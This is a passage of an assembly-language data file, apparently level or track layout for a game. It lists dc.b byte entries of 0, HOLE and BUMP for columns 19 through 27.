; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column19Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
; 60-41
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column20Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
; 60-41
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column21Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column22Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column23Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b BUMP
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column24Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b BUMP
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column25Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column26Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 180-161
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 200-181
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
Column27Information
; 20-1
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 40-21
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 60-41
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
; 80-61
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 100-81
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 120-101
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
; 140-121
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
dc.b HOLE
; 160-141
dc.b HOLE
dc.b BUMP
dc.b BUMP
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
dc.b 0
